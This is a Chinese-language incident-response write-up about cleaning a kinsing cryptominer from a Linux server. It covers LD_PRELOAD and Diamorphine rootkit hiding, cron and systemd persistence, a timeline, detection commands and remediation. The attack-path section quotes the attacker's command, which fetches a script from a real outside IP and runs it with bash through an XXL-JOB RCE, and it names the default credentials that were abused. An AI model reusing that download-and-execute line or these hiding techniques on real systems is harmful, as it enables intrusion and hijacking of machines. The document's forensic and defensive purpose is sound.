记录某次"有趣的"挖矿木马排查
字数 2457 2025-08-03 16:48:31
挖矿木马排查与Rootkit检测实战教学文档
1. 挖矿木马概述
1.1 挖矿木马定义
挖矿木马是一种恶意软件,在用户不知情或未经同意的情况下,利用受害者的计算机资源进行加密货币挖矿。这类软件通过执行大量运算来挖掘数字货币,如比特币或门罗币等。
1.2 攻击方式
- 漏洞利用
- 弱口令爆破
- 非法应用传播
1.3 主要影响
- 资源消耗:占用大量CPU/GPU资源,导致计算机运行缓慢
- 电费增加:挖矿需要大量电力,导致电费异常增加
- 系统安全风险:可能携带其他恶意软件,增加系统被进一步攻击的风险
2. 动态链接器劫持Rootkit技术
2.1 技术原理
动态链接器劫持Rootkit利用Linux系统的动态链接库(DLL)预加载机制来隐藏其存在和行为。
2.2 关键点
- LD_PRELOAD环境变量:指定程序运行前优先加载的动态链接库
- /etc/ld.so.preload配置文件:指定程序启动时预加载的动态链接库
- 全局符号介入:预加载的全局符号会覆盖后面加载的同名符号
2.3 检测方法
- 使用
strace追踪系统命令加载情况 - 使用
busybox执行命令避免被劫持 - 检查
LD_PRELOAD环境变量和/etc/ld.so.preload文件
2.4 处置方法
- 清除被篡改的环境变量或配置文件
- 删除恶意的动态链接库文件
- 使用相同系统的相同版本动态链接器替换被修改的动态链接器
3. 实战案例分析
3.1 初始发现
- 主机CPU性能告警
- 流量设备监测到外联矿池行为
- 发现后门账户
tomcat
3.2 攻击入口分析
- 暴露端口:80(nginx)、9999(xxl-job执行器)
- 漏洞利用:XXL-JOB远程命令执行漏洞(版本低于2.2.0)
3.3 挖矿木马分析过程
3.3.1 进程隐藏检测
- 使用
busybox top发现隐藏的挖矿进程/tmp/kdevtmpfsi - 发现守护程序
/etc/kinsing
3.3.2 持久化机制
- 动态链接器劫持:
- 异常动态链接库
/etc/libsystem.so - 修改
/etc/ld.so.preload文件
- 异常动态链接库
- 定时任务:
/var/spool/cron/root存在异常定时任务
- systemd服务:
- 异常自启动项
bot.service
- 异常自启动项
3.3.3 时间线分析
| 时间 | 事件 |
|---|---|
| 2023-04-06 18:33:15 | 执行恶意脚本1_1586699003758.sh |
| 2023-04-06 18:33:29 | /etc/kinsing(守护程序)落地 |
| 2023-04-06 18:33:30 | /etc/libsystem.so(动态链接库)落地 |
| 2023-04-06 18:33:31 | bot.service(自启动项)创建 |
| 2023-04-06 18:34:01 | 第一次异常定时任务执行 |
| 2023-04-06 18:38:43 | 定时任务文件修改 |
| 2023-04-07 02:33:04 | /tmp/kdevtmpfsi(挖矿程序)更新 |
3.4 溯源分析
- 攻击路径:
- 直接利用XXL-JOB执行器的9999端口未授权RCE漏洞
- 执行命令:
wget -q -o - 119.29.52.250/xx.sh && /bin/bash xx.sh
- 攻击者IP:50.7.158.106(日本 东京都 东京)
- 攻击方式:
- 目录爆破尝试
- 利用默认凭证(admin/123456)登录xxl-job-admin
3.5 后门账户分析
- 发现时间:Apr 7 02:32:00
- 隐藏机制:使用Diamorphine内核模块(LKM rootkit)
- 路径:
/lib/modules/3.10.0-1127.el7.x86_64/kernel/diamorphine.ko - 功能:隐藏
secret_前缀的文件
- 路径:
- 自启动机制:
- 服务文件:
/usr/lib/systemd/system/secret_adduser.service - 调用脚本:
/tmp/secret_adduser.sh(添加tomcat用户)
- 服务文件:
4. 关键命令合集
4.1 基础检测命令
netstat -anoltp # 查看端口信息
ps aux|grep [PID] # 查看特定进程信息
top/htop # 查看资源占用情况
4.2 绕过Rootkit检测
busybox top # 绕过被劫持的top命令
busybox ls -al /tmp/ # 查看目录下文件
busybox netstat -anltp # 查看网络连接
4.3 Rootkit检测
echo $LD_PRELOAD # 检查LD_PRELOAD环境变量
cat /etc/ld.so.preload # 检查预加载配置文件
stat /etc/libsystem.so # 检查文件信息
4.4 持久化机制检查
crontab -l # 查看当前用户的定时任务
ls -la /etc/cron.* # 查看系统定时任务目录
systemctl list-unit-files # 查看系统服务
ls -la /usr/lib/systemd/system/ # 查看systemd服务文件
4.5 日志分析
cat /var/log/secure # 查看认证日志(CentOS/RHEL)
cat /var/log/auth.log # 查看认证日志(Debian/Ubuntu)
cat /var/log/cron # 查看定时任务日志
cat /var/log/nginx/access.log # 查看nginx访问日志
5. 防护与处置建议
5.1 预防措施
- 端口管理:
- 严格控制对外开放的端口
- 使用防火墙限制访问源IP
- 服务加固:
- 及时更新服务组件,修复已知漏洞
- 修改默认凭证,使用强密码策略
- 系统监控:
- 部署主机入侵检测系统(HIDS)
- 监控异常CPU/GPU使用率和网络连接
5.2 应急响应
- 隔离受感染主机:立即断开网络连接
- 保留证据:在重启前收集系统信息
- 内存转储
- 进程列表
- 网络连接状态
- 清除恶意组件:
- 终止恶意进程
- 删除恶意文件
- 清除异常定时任务和服务
- Rootkit处理:
- 卸载恶意内核模块
- 使用干净系统替换被修改的系统文件
5.3 系统恢复
- 密码重置:重置所有用户密码
- 漏洞修复:修补被利用的漏洞
- 完整性检查:使用rkhunter/chkrootkit检查系统完整性
- 日志审计:分析日志确定入侵路径和时间线
6. 总结与思考
-
攻击者画像:
- 自动化程度高的挖矿团伙利用漏洞快速植入挖矿木马
- 针对性攻击者进行手工渗透并植入持久化后门
-
技术要点:
- 动态链接器劫持是常见的进程隐藏技术
- LKM rootkit(Diamorphine)可深度隐藏恶意组件
- 使用busybox等静态编译工具可绕过部分rootkit
-
排查思路:
- 以时间线为主线串联各个事件
- 结合多种检测方法互相验证
- 考虑攻击者的持久化机制和隐藏手段
-
经验教训:
- 避免直接重启破坏现场
- 默认配置和弱密码是重大风险点
- 系统监控和日志收集对事后分析至关重要